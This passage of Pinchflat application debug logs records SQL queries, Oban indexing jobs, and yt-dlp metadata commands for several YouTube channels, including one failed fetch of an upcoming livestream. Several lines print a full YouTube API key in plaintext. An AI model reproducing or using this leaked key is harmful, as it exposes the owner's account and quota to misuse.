UUk5aCrQAppGZ8atiOpgYZ1A 17:16:41.162 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.162 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:41.246 [debug] QUERY OK source="media_items" db=0.6ms idle=84.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", "h5Ya_mmFguc", "zfnBUM-LZNA", "T2r1B-dkbnk", ...] 17:16:41.247 [debug] QUERY OK source="settings" db=0.0ms idle=85.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.247 [debug] QUERY OK source="settings" db=0.0ms idle=85.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.247 [debug] Running yt-dlp command for action: get_media_attributes 17:16:41.257 [debug] QUERY OK source="settings" db=0.0ms idle=95.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.257 [debug] QUERY OK source="settings" db=0.0ms idle=95.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.257 [debug] QUERY OK source="settings" db=0.0ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:41.257 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bd/75/bd75bb1076f3fba8fcdeea93f6506e5400dca8a40f23944e23114686e1fa9d32.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:16:42.163 [info] {"args":{"id":7},"id":3800126,"meta":{},"system_time":1770765402162909416,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:42.163 [debug] QUERY OK source="sources" db=0.1ms idle=906.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:16:42.163 [debug] QUERY OK source="settings" db=0.1ms idle=906.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.163 [debug] QUERY OK source="media_profiles" db=0.1ms idle=906.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:42.164 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.164 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:16:42.164 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.164 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:42.316 [debug] QUERY OK source="media_items" db=0.6ms idle=152.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "Timi82idESg", "fEJ4dy4lReA", "s5z_Ty3eVYE", "2sl0V9Fe2Pg", "9dykjTghTYM", "Shh5SmBMsks", "7WG4CaXHoiQ", "iKbj6MLUTVY", "mj7cz2CTZbE", "ZdpXMQ13CJM", "PU9cFXq5J1M", "chrlcy65iu8", "JUteqHSK7U4", "Ne8wAZCWglM", "Zzt5hBwNmxk", "MEAuxbGxE2s", "QoG-h79s3l0", "es-VrNDoY3o", "I08GK2s64Cc", "a83Gzo3VqDg", "6GtsjMGfKqw", "Q5nFwHcboTs", "6EVvs4aXyls", "bPBpOKgRKoU", "eux9YPqsBA4", "QUjvV9_Si5Q", "f8Zd6gRRG8M", "rbBdUnrSz90", "W5XHEcaFh7I", "ZoDilNrf0Kg", "rr4WSzeXasM", "bfC2P-y-nwo", "htmZN6Vv8Vs", "U_525SiZGLw", "oFuHVZ7qivY", "p3HRzI9fEzE", "FohFxYiRqfY", "QVKuCnsg9Gc", "aSn6Raw8BCo", "YferyIBhJHY", "PZAxqCEa1jQ", "ZjYj2Tksj2w", "z8Mb3I5kVlE", "jgwaCJEiwkA", "TysH7kciS6w", "BHvPmO4A248", "hjIVJGBTRD4", "U2bcCZFxHxo", "QerbfRokjRM", ...] 17:16:42.319 [debug] QUERY OK source="media_items" db=2.1ms idle=153.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:16:42.319 [debug] QUERY OK source="tasks" db=0.1ms idle=155.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800164, 7, ~U[2026-02-10 23:16:42Z], ~U[2026-02-10 23:16:42Z]] 17:16:42.320 [info] {"args":{"id":7},"id":3800126,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":157010,"event":"job:stop","queue_time":489632,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:42.327 [info] {"args":{"id":25},"id":3800127,"meta":{},"system_time":1770765402326943985,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:42.327 [debug] QUERY OK source="sources" db=0.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:16:42.327 [debug] QUERY OK source="settings" db=0.1ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.327 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:42.327 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.327 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:16:42.328 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.328 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:42.434 [debug] QUERY OK source="media_items" db=0.6ms idle=105.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "Eq5PgdJmdOM", "UqsOOWYeAFc", "TPAj27g13Wg", "wrw-wgTVZvQ", "Afvl-iK85M4", "SZnw2gIhVlY", "aEYo2ImWVFQ", "iNtvFeR8nzE", "QzjxzaLmU68", "pHUmHk5ET0U", "9o-iezh5_cU", "NRRBKgV2nD4", "rFXunG2KAK4", "EeqhS_RCy0s", "vZeFT3hIyrI", "-peLrtm4Ta0", "RP0BOsCJLdY", "bOG_tawYloM", "rPQIbzbyWJM", "YXo4iJPfaYs", "tMjVg1ptQK0", "2r4aEvZdmDY", "Q1lZ8G1Jwd0", "DXveCg1SAvE", "ANdlfk9gxsE", "8VhD6efjAIQ", "3-SimVbHpUU", "PrXqo77aG38", "8_f_rJSxyug", "9dN7cSe5eaM", "mllcH8uTTk4", "UqkNC4DM0cY", "CmB681YpI74", "NzaT1laS9tU", "gPxhaxHyTq8", "Z0HLafo7bRU", "LvP4SNwbMtc", "Vmj54KWL47Q", "bzQ9b-kTrMQ", "893LjMkWwIk", "KAGgNIT4Fk0", "1r7gV4X760g", "4qKuUJaa5ow", "w-uDVkNJ_q8", "QYegK6M_1lY", "wMBNx2LFmo4", "TJ4KLo7rKqQ", "Bv-2HGhSRUA", "1w3y6oZb_fM", ...] 17:16:42.435 [debug] QUERY OK source="media_items" db=1.0ms idle=107.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:16:42.436 [debug] QUERY OK source="tasks" db=0.1ms idle=108.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800165, 25, ~U[2026-02-10 23:16:42Z], ~U[2026-02-10 23:16:42Z]] 17:16:42.436 [info] {"args":{"id":25},"id":3800127,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109792,"event":"job:stop","queue_time":556123,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:42.528 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/bd/75/bd75bb1076f3fba8fcdeea93f6506e5400dca8a40f23944e23114686e1fa9d32.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 17:16:42.528 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 17:16:42.528 [debug] QUERY OK source="settings" db=0.1ms idle=92.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.529 [debug] QUERY OK source="settings" db=0.1ms idle=92.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.529 [debug] Running yt-dlp command for action: get_media_attributes 17:16:42.549 [debug] QUERY OK source="settings" db=0.1ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.549 [debug] QUERY OK source="settings" db=0.0ms idle=112.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.549 [debug] QUERY OK source="settings" db=0.0ms idle=107.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:42.550 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/10/50/105087a23139033acc287ae862b996b375e97ea794c8567d2bb2178b985e0cd7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:16:43.163 [info] {"args":{"id":20},"id":3800128,"meta":{},"system_time":1770765403163708712,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:43.164 [debug] QUERY OK source="sources" db=0.1ms idle=614.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [20] 17:16:43.164 [debug] QUERY OK source="settings" db=0.0ms idle=614.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:43.164 [debug] QUERY OK source="media_profiles" db=0.1ms idle=614.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:16:43.164 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:43.164 [debug] Fetching recent media IDs from YouTube API for playlist: UU2J-0g_nxlwcD9JBK1eTleQ 17:16:43.164 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:16:43.164 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:16:43.276 [debug] QUERY OK source="media_items" db=0.7ms idle=112.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [20, "EfReqcUJfBU", "46tvrNZFxjQ", "MnjNgtPr3v0", "DqBOTn6RiKE", "Eten26XKTv4", "sdSusCDZcDg", "_Ma4fV7ajak", "bfeb6AS7efA", "NzCJGD3XMm4", "sI4y8jDO6kc", "2OvyyVxQjuI", "GUFPw25D0XM", "llRut0MpjfU", "n_wbyAf0Sfs", "U5P5WgYhz9Q", "LvTo1PSlDkc", "HcvF3XFlHeM", "xvnYl9yyxY8", "2E4neC3OBtg", "SzQQMElyhzo", "LckcXDqLtVA", "wDzi0-S9Bpo", "5CIJ_zk7DR4", "FVSH4dedp5U", "j0HzOAsVBqU", "4p1f3KA_O2o", "vXSd4OYyksc", "iwyyJwJQgGI", "2TBWVwTn9WM", "TvjeY9RCR2U", "990N9TgwB4Y", "YiSjEU0RImU", "62SkmzQ85Ks", "DL8lzJDOyzo", "Pg8Yi6x2Pwk", "Az6nemkRB1Y", "no5X9k23xzQ", "Xe_Hfxk-iTM", "frPvUIchc9s", "1WeyqcSW4pc", "-eDR2D9jY5E", "APqWBtdPCJQ", "lAhndiYV8vQ", "tbcAOqpE3g8", "BUcN2w-cBr4", "GzS-xgs5y64", "E0EY4dxMAxA", "luAJ_Rzg-do", "vMowPNqMPac", ...] 17:16:43.277 [debug] QUERY OK source="media_items" db=0.4ms idle=113.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER 